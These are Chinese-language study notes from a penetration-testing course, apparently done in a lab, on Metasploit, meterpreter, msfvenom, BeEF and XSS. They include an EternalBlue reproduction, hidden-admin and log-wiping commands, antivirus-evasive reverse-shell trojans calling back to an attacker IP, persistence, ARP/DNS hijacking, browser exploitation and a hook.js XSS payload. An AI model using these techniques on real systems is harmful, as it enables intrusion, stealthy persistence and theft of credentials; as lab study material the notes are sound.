0%

安全牛第三章-安全测试实践1.0

  • Metasploit Framework 渗透框架详细介绍

    Ruby 语言编写,模块化构造,易于开发使用

    • 术语介绍

      • exploit

        渗透测试攻击:包括缓冲区溢出,Web 应用程序漏洞攻击,系统配置错误

      • payload

        攻击载荷:利用漏洞进行攻击的代码

        windows/shell/bind_tcp 是一个著名的 payload ,可以将 shell 控制会话绑定到指定的 TCP 端口上

        win7/10 使用了数据执行保护等,使缓冲区空间减小,防止注入

        metasploit 给我们提供了传输器与传输体,传输器用于首先传入极短的 payload ,用于后续下载更多传输提中 payload ,可以绕过防御机制

      • shellcode

        指令,渗透中作为攻击载荷运行的指令,常常用汇编编写。

        meterpreter Shell

      • Module 模块

        • Payload module 渗透攻击模块

          auxiliary module 辅助模块 AUX ,做目标信息收集,端口扫描,网络服务查找,验证信息服务暴力破解,模糊测试,ARP 欺骗

        • NOP module 空指令模块

          提供对 target 的程序运行不会造成实质影响的空操作或无关操作指令,比如 0x90

          构造缓冲区溢出时,执行 shellcode 前需要增加一段空指令区,如此触发渗透攻击后跳转到执行 shellcode 时有一段较大的空区域,避免内存地址随机化导致 shellcode 执行失败

          所以执行 shellcode 前先执行空指令,可以增加攻击成功率

        • Encoding module 编码器模块

          避免失效字符或坏字符的存在影响 payload 在缓冲区的执行

          比如 0x00 会被解析成字符串结尾,从而导致攻击载荷执行失败

          以及对 payload 做免杀,通过不同形式编码以及不同的编码器进行,使 payload 变得杂乱,但系统仍可识别而 WAF 不可识别

          而编码后 payload 体积会明显增大,

        • POST module 后渗透攻击模块

          通过 meterpreter 或传统 shell 加载到目标平台上运行

          • 敏感信息收集

            常见的有用户密码(明文传输存储,存放在内存中),或者用户键盘记录,本地会话管理

          • meterpreter 最著名且强大的模块

            作为植入到目标系统上的攻击载荷,可以提供基本控制会话,集成了大量的后渗透攻击功能,如抓取用户哈希,提权等功能

        • listener 监听器

          用于等待被攻击的系统来连接

        • Libraries 基础库文件

          源代码根目录下,包括:Rex , framework-core , framework-base

          如果不开发自己的模块的话,不需要了解这个太多

        • 插件

          集成现有的安全工具,如 Nessus , OpenVAS

        • 接口

          • msf console 控制台终端
          • msf cli 命令行
          • msf gui 图形化界面
          • msf api 远程调用接口
  • MSF 渗透攻击技术和 Meterpreter 高级技术实践

    • MSF 控制台命令

      • show exploits

        展示所有的漏洞,感觉并没有什么用处

      • search

        搜索对应漏洞,支持按照名称,类型,时间,等级等

      • use

        使用漏洞

        • back 退出漏洞使用

      • show options

        选取对应漏洞后使用,列出需要填写的参数

        • set/unset

          用该命令来设置参数

      • info

      • setg/unsetg

        设置全局参数

        • save

          改变全局变量后保存配置

    • meterpreter 常用命令

      • background

        将会话隐藏到后台,继续使用 MSF

      • sessions

        查看已有的会话

        sessions -i [num] ,返回原有会话

      • shell

        直接获取系统控制台 shell

      • irb

        开启 ruby 终端,仅当被控端有 ruby

      • upload/download

        upload [file name] [path] / download [源文件路径] [下载到的路径]

      • edit

        edit [file path\name]

        注意要双写 \ 以转义

      • search

        -d 搜索路径 , -f 搜索名称

      • portfwd

        进行端口转发,可以将目标端口映射到外网主机端口,以此能从外网访问

        portfwd add -l [msf的端口] -r [msf ip] -p [被控主机将被转发端口]

      • ps

        查看目标主机进程信息

      • migrate

        迁移会话,比如使用 IE 浏览器漏洞的时候,如果对方关闭 IE ,会话将会终止,但如果将其会话迁移到后台程序中则可以保持会话,此种迁移不留下痕迹且不会中断 TCP 会话

        set autorunscript migrate -f 连接成功后自动迁移进程

      • screenshot 截屏

      • kill 杀死进程
      • sysinfo
      • shutdown
      • webcam_xx

        访问目标网络摄像头

      • haashdump

        得到登陆用户加密的 hash

      • smbpass

        hash 值无法被破解时,直接传递该 hash 值到其他需要验证的地方

      • clearev

        清除日志

      • timestomp

        修改文件最后的修改时间,使文件看起来没有被修改过

        这个命令仅支持 windows

        timestomp [filename] -a '[time]'

    • 这里笔者自行复现一下 ms17-010 永恒之蓝漏洞

      扫出来有漏洞,开始用 payload 注入,use 0 进入攻击接口

      配置 rhosts , port , payload 类型

      run 开始注入,出现 meterpreter > 代表已成功连接

      做一下功能演示:

      • screenshot

      • 密码破解

        1
        2
        load kiwi
        creds_all

        加载 kiwi 插件,并查看密码

        理论上这里会直接出现明文密码,但我即使是 system 权限且是 $64$ 位还是显示不出来,qwq

      • shell

        使用被控主机控制台

        对于出现乱码的情况,用 chrp 65001 将编码转成 UTF-8

        为了更深一步操作,如果想登录主机可以利用远程端口登录,但之前我们需要利用 Guest 账号(因为 Guest 账号是系统自带的来宾账号,如果使用别的账号登录的话,容易引起怀疑)

        1
        2
        3
        net user Guest /active:yes
        net localgroup administrators Guest /add
        net user Guest 123

        激活并转成管理员权限并修改密码

        1
        2
        net user Guest /active:no
        net localgroup administrators Guest /del

        为了远程登录,需要开放 3389 端口

        1
        REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

        0 改为 1 即可关闭该端口

        1
        REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

        可以用 rdesktop 远程连接

        guest 账户登录即可

        登录后记得关闭端口,删除用户,再用 clearev 删除记录,效果如下

        最上面两条是我之后操作的,删除后应该只有最下面一条

      • 乐,下一节课就是利用永恒之蓝,不提前看标题是这样的

  • MSF 免杀实践

    • metasploit 木马分类

      • staged

        stager 由引导代码 loaderpayload 组成, 客户端接受 stager 后在内存中分配地址将 payload 暂存,再通过 loader 加载内存中的 payload 。这种内存中注入 PE 文件的方式称为反射型 DLL 注入

      • stageless

        将完整的 payload 编译在木马中,相比较来, staged 的体积庞大不灵活,且更容易被杀

    • 免杀方式

      修改特征码,修改程序入口点,花指令,加壳

    • msfencoder

      payload 文件进行重新排列编码,改变可执行文件中代码形状,避免被杀软认出;程序功能不受影响,程序运行后将原始程序解码到内存执行

    • msfvenom 查看编码器

      msfvenom -l encoders 查看多平台可用的编码方式

      MSF 使用多重编码来改善 shellcode 免杀能力

    • 木马生成,捆绑与免杀

      • 找到合适的 payloads

        msfvenom --list payloads | awk '/[keyword]/'

      • 生成

        1
        msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --platform=x86 lhost=[ip] lport=[port] -x [target_exe] -i [encode_times] -f exe -o [generate_path]
        • -p 指定 payloads
        • -e 选择编码器
        • --platform 选择平台: x86|x64|x86_64
        • -s 生成的 payload 最大长度
        • -b 避免使用字符,如 \0f , \x00 字符串遇到会截断
        • lhost , lport 本地监听回连地址和端口
        • -x 把木马捆绑到指定的可执行程序上
        • -i 编码次数,理论上多次编码有助于免杀
        • -k 保留模板文件正常行为,并将注入的 payload 作为单独线程运行,不影响原程序

      • 等待回连

        1
        2
        3
        4
        5
        use exploit/multi/handler
        set payloads xxx
        set lhost [host]
        set lport [port]
        exploit //开始监听
      • shellcode 免杀

        • 手动编译 meterpreter ,对 shellcode 编码,一般能绕过静态查杀

          可以看这篇文章

        • meterpreter 直接加载进内存并由编码,一般可以绕过动态查杀

        • cpp 加载 shellcode

          msfvenom -f c 生成 c 格式

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //运行时不显示窗口

          #pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行

          unsigned char buf[] = //从Bin文件复制过来的ShellCode

          void main() {
          __asm {
          lea eax,buf
          call eax
          }
          }

          编译生成的 exe 可以大概能过静态查杀

        • 进程防丢失

          在生成 shellcode 时使用如下参数 PrependMigrate=true PrependMigrateProc=svchost.exe 可以将 payload 注入至 svchost.exe 进程中,以防原文件关闭后进程终止导致连接丢失

        • 加密 shellcode 传输的数据流

          避免 shellcode 回连成功,与 msf 交互时被查杀

          • metasploit 设置

            1
            2
            3
            4
            set EnableStageEncoding true
            set stageencoder x86/fnstenv_mov
            set stageencodingfallback false
            save
          • payload 加密

            1
            windows/meterpreter/reverse_https
            1
            windows/meterpreter/reverse_tcp_rc4 PC4PASSWORD=[password]

            rc4 加密,生成时指定加密密钥,在监听端设置相同密钥躲避查杀

        • 加壳

          加密压缩可执行文件,体积减小,使用不同加密算法。

          但壳也有特征码,会被杀软报毒

          1
          upx -5 [name].exe
      • 对抗沙盒免杀

        调用系统的 sleep 来实现 AV 检测文件超时,从而放弃对文件检测

        一般不好绕过

      • meterpreter 常驻免杀

        • persistencemetsvc ,但其特征已被广大杀软关注,一定会被查杀

        • 绕过杀软,添加自启动

          1
          2
          3
          exploit/windows/local/registry_persistence
          exploit/windows/local/vss_persistence
          exploit/windows/local/s4u_persistence

          shellcode 添加到注册表,并通过 powershell 加载该 shellcode 以运行 msf

          加载的 payloadmsf 指定,每次不同,如果不监视注册表,不限制 powershell 几乎不会被杀

        • 利用 powershell

          -f psh-reflection -o [filename].ps1

          通过自编写脚本加载 powershell ,eg

          1
          Add-Persistence -FilePath .\[filename].ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
  • MSF 客户端渗透测试实战

    • 简介

      通过构造畸形数据发送给目标,使用含有漏洞缺陷的客户端应用程序处理数据后发生程序内部处理错误,执行了嵌在数据中的恶意代码

      一般来说需要提前对目标进行调查,以诱导目标打开对应文件

    • Windows 安全防护机制

      • DEP 数据执行保护

        CPU 中设置 NX 内存页保护

      • ASLR 地址空间布局随机化

        堆地址随机化,栈基址随机化,进程线程内存块随机化

      • 攻击

        堆喷射,ROP

    • 基于浏览器的渗透测试

      • 原理:堆喷射

        通过组合 大量空指令+ shellcode ,构造出一个注入代码段。向系统申请大量内存并反复用注入代码段来填充,最终导致 shellcode 执行

        系统对堆的管理存在分块机制,因此我们分块填充申请的空间,每个空间填满空指令并在最后填入 shellcode ,堆大致如下

        1
        2
        3
        4
        5
        6
        7
        8
        9
        Heap
        ±-------------+
        | slide code |
        | shellcode |
        ±-------------+
        | slide code |
        | shellcode |
        ±-------------+

        用空指令填充而不是全部使用 shellcode 的原因是要确保 shellcode 从第一条语句开始执行,若命中任意空指令,其都将顺延至执行 shellcode

        可能覆盖到的地址有 0x0A0A0A0A(160M)0x0C0C0C0C(192M)0x0D0D0D0D(208M) 等。

        堆喷射的成功前提是:当调用填充的过程中恰好覆盖的一个虚函数指针时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行

        也就是说,当使用 0c0c0c0c 作为空指令填充时,地址 0x0c0c0c0c 处也应为空指令 0c0c0c0c ,由此能恰好执行空指令直到执行到 shellcode

    • msf 练习

      1
      2
      3
      4
      5
      6
      search browser_autopwn
      use 1
      set lhost [主机ip]
      set srvhost [主机ip]
      set uripath auto
      run

      IE 打开还要加到信任列表里,结果是这样的

    • 利用网站 iframe 进行大规模客户端渗透

      在网页中嵌入如下代码

      1
      2
      <iframe src="[msf生成的网址及端口]" width=0 height=0 style="hiden" ...>
      </iframe>
    • 复现 ms10-002 极光

      没什么好说的,msf 设置完直接用旧版本 IE 访问就行

    • 配合 ettercapdns 劫持来攻击主机

      • dns 劫持部分

        ettercap 目录下更改 ettercap.dns

        在最后增加伪造的 dns ,让所有网页都被欺骗到本机

        ettercap -G 启动图形化界面

        用这个扫一下,网关 .1 添加到 target1 ,把靶机 .129 添加到 target2 ,因为要截获靶机发给网关的通信

        设置 ARP-poisoning

        确保 sniffing 在进行中

        然后到 plugins-manage plugins-dns_spoof 双击启动

        这里有一点要注意的,就是靶机的默认网关可能是 .2 ,这个可以通过扫描结果看出来

      • msf 启动欺骗网站

        然后启动 msf

        1
        2
        3
        4
        5
        use auxiliary/server/browser_autopwn2
        set LHOST 192.168.19.128
        set SRVPORT 80
        set URIPATH /
        exploit

        这里我采用的是直接将靶机的 dns 劫持到 msf 的攻击链接上,也可以通过 apache2 劫持到自定义界面,再在自定义界面中嵌入攻击链接的方式注入。理论来说后者更不容易引人怀疑,但笔者在复现时没有成功

        随后介绍了一些针对不同软件客户端的漏洞,都是简单的用msf脚本即可,不多赘述

  • msf 内网渗透实践

    • 准备

      准备三台虚拟机,其中 metasploitable2 充当网关的角色,sudo 下更改 etc/network/interfaces

      此时 kali 不能 ping 通内网靶机,只能连接网关

    • 初始探查

      nmap43 网段,分析得到第一个靶机的地址,也就是“网关”的 IP

      建议存下来便于以后利用,当然也可以使用 msf 中自带的数据库来存储信息

      对于扫出来的端口,一个个分析对应的版本,查看是否有漏洞

      • 21 笑脸漏洞

        该版本存在一个后门漏洞,从 exploit-db 搜索得到相应信息

        当输入 :) 时,6200 端口会被打开,从而用 nc 可以连接

      • 80

        可以发现打开了 80 端口,访问网站查看一下

        更改 index. 的后缀,发现其使用 php

        php 存在一个参数化的漏洞,当提交参数 -s 时 ,如下图,它可以导致网站直接以源代码形式显示

      • 139/445

        samba smbd 存在远程命令注入漏洞,可以轻易用 msf 搜索出来

        随便挑一个拿个 shell

    • 靶机 $1$ 为跳板攻击目标靶机 $2$

      现在给靶机 1 上马以获得一个 msf 的命令行便于更好攻击

      1
      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f elf > backdoor.elf

      将后门文件放到 var/www/html 中,开启 apache2 , 让靶机 $1$ 从主机服务器上自行下载,并 chmod 给一个可执行权限

      msfexploit/multi/handler 连接木马,连接的窗口中./backdoor.elf 执行

      使用 run get_local_subnets 看到发现内网

      autoroute 添加一条基于 sessions 的路由,-s [靶机2的IP段]

      arp 发现另一台内网中的存活主机,但只在该主机与网关通信

      然后用 auxiliary/scanner/portscan/tcp 扫一下该主机的开放端口

      80 端开放,用 auxiliary/scanner/http/http_version 检查一下其服务

      但这里出现了奇怪的问题,设置跳板后无法 ping 到靶机 $2$ ,但可以用模块进行端口扫描

      视频中也出现了相同的问题,并没有给出解决方案,笔者找不到解决方法,暂且搁置

  • Armitage 渗透测试实践

    • 介绍

      实现对 metasploit 图形化的操作,并可以给出提示,跨平台使用

      其启动需要 postgresql , metasploit 的开启

      • postgresql 配置

        sudo -u postgres psql 先登录数据库,alter user postgres with password 'admin'; 更改密码,然后 \q 退出

        现在可以用新密码登录了 psql -U postgres -d postgres -h 127.0.0.1 -p 5432

        然后设置允许远程访问

        gedit /etc/postgresql/16/main/postgresql.conf

        把这一行的注释删去,localhost 改为 *

        然后更改同目录下的 hba_conf ,注释全部内容并在最下方添加如图,表示允许任意地址通过密码进行远程访问

        然后建立一个数据库

        1
        2
        create user msf with password 'admin' createdb;
        create database msf with owner=msf;

        此时 msf 中可以手动连接 db_connect msf:admin@127.0.0.1/msf

        可以去目录 usr/share/metasploit-framework/config 下新建配置文件 database.yml 以达到自动连接,具体格式可以从 database.yml.example 中复制得到

        至此,提前准备工作完成

        armitage 启动,在 msf 中运行 load msgrpc ,会加载出新的密码

    • 使用

      笔者感觉图形化界面没什么好说的,比普通的界面看起来直观,但操作不是很方便,可以辅助使用

  • BeEF 框架

    • 介绍

      Ruby 中内置的框架,用于评估浏览器的安全性

      创造一个链接来连接浏览器,链接通常是 JS 编写的 hook ,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送 JS 命令,浏览器再将回应返给攻击者

      其发送的是 web 请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了 JS 挂钩,那么攻击者对浏览器活动就有很高的权限

      这个 kali 里面也是有内置的,但笔者建议把内置的删掉再安装最新的

      1
      2
      3
      4
      apt-get purge --auto-remove beef
      apt-get purge --auto-remove beef-xss
      git clone https://github.com/beefproject/beef
      ./install

      然后去 config.yaml 中更改默认密码

    • 使用

      ./beef 启动

      ./beef -x 清理数据库

      • beef 控制台使用

        http://127.0.0.1:3000/ui/panel 中访问图形化界面

        点击箭头处链接浏览器就会上线,可以在左边栏看到

        对于 Command 模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效

      • 挂钩浏览器

        无论是反射型 xss 或者 arp 欺骗,最终目的都是让目标浏览器访问/加载 beefhook 页面 http://127.0.0.1:3000/demos/basic.html

        • 以基本的反射型 xss 为例

          首先需要一个易受 xss 攻击的网站,新建一个 php 页面,代码如下

          1
          2
          3
          <HTML> <BODY> <FORM>
          <INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
          <INPUT TYPE=SUBMIT> </BODY></HTML>

          那么靶机访问 http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22 则会成功链接

        • ettercap DNS 欺骗

          欺骗到 beef 生成的钩子地址上即可

        • 自动注入挂钩

          借助 beef injection framework 自动重写 web 流量使其包含挂钩

          1
          git clone https://github.com/SpiderLabs/beef_injection_framework
      • 获取指纹实践

        • 浏览器指纹

          command-browser-fingerprint

        • 用户指纹

          包括浏览器存储的 cookie ,用户会话历史,综合以上信息可知到用户常访问的网站类型

          beef 高级演示页面来演示

          即靶机访问 [IP]:3000/demos/butcher/index.html

          在下方填入的信息即便不提交,也可以在 beef 中使用 command-browser-get form value 查看到

    • 接下来笔者跟着这位来复现一遍操作

    • 初始化控制

      • XSS

        在真实环境中,对于 beef 这种需要加载远程 jsXSS 攻击,存在一种更优的防御方法,即 CSP ,内容安全策略。其同于检测并削弱某些特定类型攻击。

        CSP 规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行 jseval() 函数,如

        1
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' ">

        该段指令让浏览器仅加载同源资源,以防止异源的 beef 攻击

      • 有安全漏洞的 Web 应用

      • 广告网路
      • 社工

        • 网站搭建

          使用 beef 自带的 Web 克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在 beef 被关闭后被销毁

          1
          2
          3
          curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]

          curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86

          搭建成功后发现僵尸不上线,查看网站源码,发现是 js 地址错误

          到配置文件 config.yaml

          改成本机的 IP 即可,随后重启服务

        • 诱饵

          • 钓鱼邮件

            需要模糊,缩短 url,并设计自己的邮件系统

          • 物理诱惑

            html 文件的u盘

          • QR code

            感觉是最为保险的手段

      • 中间人攻击

        此类攻击仅当和受害者在同一网络下才可进行,考虑用 aircrack-ng 破解 wifi 密码

        这里使用 mitmproxy ,顺便记录一下使用时的问题

        • 安装

          • 报错 1

            1
            2
            raise ValueError(f'mutable default {type(f.default)} for field '
            ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory

            解决方案是更新 apt 源并更新 mitmproxy ,大概原因是 kali 内置的版本过老,不支持本机的 python3.11

            1
            2
            apt update
            apt-get install mitmproxy
          • 报错 2

            1
            AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?

            应该是 pyOpenSSL 的问题,更新一下

            1
            pip3 install mitmproxy

            但又遇到了 pip3 报错

            1
            error: externally-managed-environment

            我搜到的解决方案是使用

            1
            pip3 install mitmproxy --break-system-packages
        • 使用

          在新版的 mitmproxy-R 参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入

          (哭哭

    • 持续控制

      初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间

      持续控制分为两种:持久通信,beef 服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面

      • 持久通信

        • CORS 跨域资源共享

          其扩展了同源策略的限制,允许页面读取来自其他来源的 http 响应,即 beef 发送的命令对于浏览器一定是异源的,故其发送的每个 http 头部都包含:

          1
          2
          Access-Control-Allow-Origin: *
          Access-Control-Allow-Methods: POST, GET

          以允许来自任意地方的 post/get 请求

        • 开启 Websocket 通信

          其速度快于 beef 默认使用的 XMLHTTPRequest ,但其不适用于低版本的浏览器: IE>=10 , Firefox>=16.0 , chrome>=23.0

          在默认下,kali 中其配置文件位于 /usr/share/beef-xss/config.yaml

          做出如下修改

          1
          2
          3
          # Prefer WebSockets over XHR-polling when possible.
          websocket:
          enable: true

          beef 会根据浏览器版本自动选择是否使用 websocket

      • 持久存续

        • 内嵌 iframe 框架

          persistence-Create foreground iFrame 模块,不需任何参数即可执行,在僵尸浏览器上创造一个 100%iframe

          在用户点击一个新界面时代码生效

          其弊端是顶部的 url 栏不会改变,如图

          而对于使用 js 渲染的页面则会出现页面混乱,点击无效等情况

        • MitB 浏览器中间人

          与中间人攻击不同,不需要处在同一网络下。Persistence-Man In The Browser 模块在僵尸浏览器中用 js 自动截获/发送 http 的内容,并异步展现给用户

          在用户正常访问的同时能保持钩子

          其弊端也很明显,即不能打开图片

          以及对于 js 制作的跨域链接,由于 MitB 实现原理缺陷导致其无法控制新页面

          注意 MitBiframe 只能使用一种

        • 窗口事件处理

          Persistence-Confirm Close Window 不断弹出如下窗口

          但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现

          firefoxchrome 只有在关闭浏览器时才会有弹窗; 360 在关闭当前页面或关闭浏览器时都会有弹窗; QQ 点击关闭当前页面之后,它会打开一个新标签页去加载BeEF 服务器的 demo 页面;搜狗全部都没有弹窗。

          如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用

        • 动态底层弹出窗口

          Persistence-Create Pop Under 可以在用户点击链接时弹出一个指向 beef 初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响

          弊端是如此只能弹出 beef 窗口,会导致用户察觉,而且笔者这里用 chrome 复现失败

    • 绕过同源策略与浏览器代理

      • SOPDOM 文档对象模型

        浏览器同源策略,限制不同源的交互,致使 beef 仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用 Web 的特性,这里介绍后者

        当子域之间需要相互访问时,如 login.site.com 需要访问 admin.site.com 的表单,开发者会在 admin.site.com 所在页面加入如下 js

        1
        document.domain="site.com"

        那么 site.com 下所有子域都可以访问 admin.site.comDOM

        那么当 beef 钩住 test.site.com ,可以查找具有此类的页面,从而小范围绕过 SOP 的限制

      • SOPCORS

        与上文类似的,由于 Web 开发者错误的设置导致可以进行跨域资源共享,在子站 test.site.com 加入以下代码

        1
        2
        Access-Control-Allow-Origin: *.site.com
        Access-Control-Allow-Methods: OPTIONS, GET, POST

        会导致 site.com 的所有子站都可以访问 test.site.com 的资源

      • Tunneling Proxy 浏览器代理

        beef 中极为强大的一个功能

        对于被钩住的僵尸浏览器 A 以及被钩住的域 hook-domain.com ,攻击浏览器 B :

        B 通过 beef 发送 http 请求,转为 AJAX 请求插入僵尸浏览器 B 随后要执行的 js 脚本中,浏览器 B 向域 hook-domain.com 发送一个 AJAX 请求,且请求带上了该网站的 cookie ,域返回的请求则会被钩子截取并返回给攻击浏览器 A ,而不会显示在浏览器 B

        完成这个实验需要三个不同的浏览器,僵尸浏览器 A ,攻击者浏览器 B 用于登录 beef 服务器,攻击者浏览器 C 用于使用代理,三者不共享数据

        先去 extensions/proxy/config.yaml 确保 enabletrue

        对于被钩住的浏览器 B 选择 Use as proxy

        如此, beef 所在主机的 6789 端口就是一个代理

        使用 firefox -P 打开另一个不共享数据的浏览器

        将其代理设为 127.0.0.1 port:6789 与配置文件保持统一

        理论上此时浏览器 C 可以登录浏览器 B 正在访问的网站且不需输入密码

        笔者坐牢两天后放弃了,有复现成功的教教笔者orz

  • XSS 漏洞安全实践

    XSS 代码提交给网站 — XSS 代码 Setcookie 到浏览器 — Browser 请求网站提交包含 XSSCookie — 网站取变量返回给客户端 — 客户端运行 XSS JS

    • DOM 基于文档对象模型

      与平台或语言无关的接口,允许程序或脚本动态访问更新文档内容,结构样式

      原因是 DOM 数据没有经过过滤和确认

    • 看一个简单的 xss

      1
      2
      3
      4
      5
      6
      <html><body>
      <script>
      var a='<?php echo $_GET['data'] ?>';
      document.write('<textarea>' + a + '</textarea>');
      </script>
      </body></html>

      payload 可以是 qwq';alert();var b='

      出现此类漏洞的原因是网页对于输入没有进行过滤,且输出使用了危险的指令

      这部分都很基础,略